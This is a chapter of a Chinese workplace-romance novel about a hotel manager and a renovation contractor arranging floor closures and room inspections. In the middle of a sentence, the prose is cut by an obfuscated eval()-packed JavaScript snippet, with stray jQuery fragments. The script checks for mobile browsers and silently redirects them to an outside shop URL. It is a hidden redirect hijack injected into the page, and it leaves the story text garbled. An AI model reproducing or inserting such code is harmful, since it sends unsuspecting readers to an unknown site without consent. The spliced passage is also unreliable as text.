时间到了七月下旬，海州大酒店一下子多了很多平时见不到的东西。为了防止影响客人的心情，所有不碍眼的犄角旮旯都被充分利用起来了。
大厅角落的窗帘后面，藏了一排还没来得及拆封的胶合板。货梯门口堆着成卷的保护膜，几名工程人员正蹲在地上核对编号。行政楼和主楼之间的连廊，也不时有来自不同公司穿着不同颜色工服的人来回穿梭。
特别是平时没什么动静的二楼工程部，走廊里来来往往的人员络绎不绝，比过年走亲戚还热闹。
而楼上的运营部经理办公室，程千玥刚签完一叠文件，唐秘书就又拿着一份资料走了进来。
“是最新统计吗？”程千玥头也不抬地问。
“是，今天早上才更新的，需要您确认。”
程千玥接了过来，第一页大写加粗的字体——第一阶段封楼：5F—8F。
她往后翻了两页，excel表格信息密密麻麻，客人信息、入住时间、退房时间、是否已确认、是否需要协助搬运行李、是否为企业客户、是否有特殊需求。
视线很快就扫到了最后几行，未确认：8间。
这么多，她皱起了眉头，“怎么还有八间？”
“主要是有几个长住的企业客户，涉及内部的员工安排和报销流程，还在等公司那边回复，比较花时间。”唐秘书解释道。
“通知运营部和客房部，下一批封楼通知不要再用‘换房’之类的字眼，统一改成‘酒店升级调整方案’。”
唐秘书愣了一下，“有区别吗？”
“区别很大。”程千玥合上文件，“我前天回去想了一晚上，免费给他们提供升级和积分，钱都是我们出，主动权就该在我们这儿才对，而不是我求爷爷告奶奶地等他们点头。”
唐秘书若有所思地慢慢点了点头，轻声说道：“好消息是已经少了一间。”
程千玥抬眼，“顾律师同意了？”
“是的，前天晚上客房部把施工说明书送过去以后，他今天一早回复，说可以搬。”
“……”程千玥沉默了两秒，许泽熠站在对面俯视她的那张脸在脑海中一闪而过。
“那位许总……”唐秘书停顿了一下。
程千玥抬头看她，“怎么了？”
“没怎么，”唐秘书摇了摇头，“感觉和汇泽之前那些负责人不太一样。”
“你以为都是大老粗的包工头？这次好像是他们老总倒下，特意请了个海归回来，形象工程还是有点儿用的。”
“嗯。”唐秘书轻轻点了点头。
程千玥忽地反应过来，自己在这儿说什么莫名其妙的话呢，还关心起乙方的人来了，于是闭上嘴继续低头看资料。
窗外忽然传来一阵刺耳的电钻声，她猛地回过头，“什么声音？”
“应该是工程部在调试机器。”
“这么吵吗？”
“他们说怕吵到客人，先在这边试，我帮您把窗户关上吧。”唐秘书说着就往程千玥背后的窗户边走。
“算了，”程千玥烦躁地挥了挥手，“不用管了，我一会儿就去客房部那边了。”
半个小时后，程千玥带着唐秘书还有另外两个运营部的人赶到了客房部的五楼，客房部的罗经理已经等在那边了。
施工单位的人也在，她看到许泽熠也带着几个人。他穿着黑色的短袖和工装裤，手里还拿着一卷资料。
几拨人相互打了招呼。
“程经理。”许泽熠走了过来，“我们刚刚确认了一下现场的情况，有几个地方想和你沟通一下。”
“你们先跟罗经理过去查房吧，我一会儿去找你们。”程千玥转头对运营部的人说。
等几个人走了，她才转回头，“哪里？”
“你帮我拿一下。”许泽熠打开了图纸，让程千玥帮忙捏住一角，然后用手指了指，“这里。”
程千玥低头看了一眼，“这是餐厅后面的员工通道？”
“嗯，按照预案，这里是材料运输通道。”
“有什么问题吗？”
“营业时间不行。”
程千玥看向他。
“什么意思？”
“我刚刚下去看了一下，员工来来往往的，再加上施工人员和材料运输，太密集了，可能会影响用餐的客人。”
“你的意思是要等晚上？”
许泽熠摇头，“这个阶段晚上不开工。”
程千玥怔了一下，“那你想说什么？”
“路线需要调整。”许泽熠在图纸上重新画了一条线，“我建议这条路，虽然会绕，但是可以最大程度减轻对餐厅的影响。运输时间固定在下午三点到五点，避开客流高峰。”
“但是下午三点到五点也是下午茶时间。”
“所以需要提前通知前厅，我们施工方负责安排时间，你们酒店负责协调客人路线。”
程千玥看着他，“你们没有提前想到？”
“现在是暑假，店里的客流量比平时至少翻了一倍多。这方面预估确实有些偏差了，所以我现在在跟你商量。”许泽熠也盯着她。
程千玥收回视线，继续看着图纸问，“还有其他问题吗？”
“有。”许泽熠往前翻了几页，“原本计划封楼期间每层留一个酒店员工负责协调，我看了一下，人数不够。”
“封楼期间几乎没有人，预留人员只是防止突发状况，怎么会不够？”
“施工期间的问题不只会发生在施工楼层。”许泽熠用手指上下比划了一圈，“前后上下都有影响，其他楼层的客人也可能会投诉，噪声问题、等电梯的时间、还有楼道环境，这些都会算在酒店头上。”
“要加人？”
“不是。”许泽熠摇头。“我的意思是，这些都要提前划分好责任。我们只解决施工问题，酒店运营的问题归你们管，不要等到最后所有事情都混到一起。”
“……投诉流程表里没有写这些内容吗？”
“写是写了，但我刚刚又看了一下投诉事项，有些地方写错了，有的部分不该归工程部管，应该是运营部才对。”
“哪里？给我看一下。”
“我没打印，给你看手机吧。”许泽熠把图纸放到他手里，取出手机鼓捣了一会儿，打开了一封邮件附件，“这个。”
程千玥凑了上去，字体很小，灯光又不够亮，“放大点儿。”
许泽熠伸出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694291|207540||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
手指把字体放大了，“这样呢？”
“嗯，可以。”程千玥一边看一边指挥道，“你再往下翻，过了，再往上一点儿，停。”
确实有一些归责不够明确的部分，只笼统地写了一句联系项目组，如果有人甩锅，搞不好最后会全部汇集到她手里。
程千玥抬头，“你有批注版吗？”
“没有，”许泽熠顿了顿，“但可以有，你需要吗？”
“会花很多时间吗？”
“还好吧。”
“或者一会儿这边结束了，去一趟办公室也行。”
“我的还是你的？”
程千玥抬眸，许泽熠低头看着她，不知道是不是光线角度的缘故，嘴角似乎一抹似笑非笑的浅痕。
“当然是你的。”她回答，“改完之后你直接打印一份，我带走。”
“好。”许泽熠点了点头，“那我这边暂时没什么问题，你是要去封房间吧？”
“对。”
“先不打扰了，我们这边也要继续现场测试了。”
“那一会儿见。”
原以为汇泽不过是临时派个人来撑撑场面顶着，没想到考虑得还挺周全，程千玥心里嘀咕着就往走廊里面走。
罗经理他们早就没影儿了，也不知道是从哪个房间开始查的。沿途经过了一扇扇紧闭的门，直到走廊尽头，终于看到一束光从最里面一间房里面照出来，她走了进去。
“地毯有污渍。”“墙纸有三十厘米长裂缝。”“床头柜左侧有清晰划痕。”房间里的人有举着相机在拍照的，也有拿着平板电脑在做记录的。
有人从抽屉里拉出一条蓝色领带，用塑料袋扎好后丢进了一旁推车上摆着的箱子里。
程千玥凑过去看，箱子里面已经装了不少东西。
“程经理，这幅画是要拆的吧？”
程千玥瞥了一眼，“不用，这个是便宜货。”她伸手指了指另一边，“那个要留着，挺贵的。”
“保险箱里还有电脑。”唐秘书举起了一台电脑。
程千玥无语地撇撇嘴，拿起床头柜上的电话，拨通了前台的座机号，“喂，这个房间有客人落电脑了，赶紧登记一下。”
才第一间房，就有客人丢三落四的，进度也比想象中要慢，大概二十分钟才结束了初步检查。
“520房确认空房。”罗经理在表格上画了一个勾，众人一起退出房间，关上了门。
程千玥脑子里忽然蹦出了只在电视上见过的画面，“不用贴封条吗？”
“工程部还要来查设备，我们只负责表面上的东西。”罗经理回答。
一般不是保护犯罪现场就是抄家查封，想什么不吉利的呢，呸呸呸，她轻轻晃了晃脑袋。
电话铃声响起，几个人相互看了看，发现是唐秘书的手机在响。
唐秘书扫了一眼手机屏幕，立即说：“不好意思，接个电话。”
“喂，”她转了一圈，“我这里信号不太好，你等一下。”
找不到地方，她干脆拉开了一旁的安全通道，走到楼梯间去了。
程千玥看了一眼缓缓合上的安全通道门，还是跟着其他人的脚步一起进了第二间房间。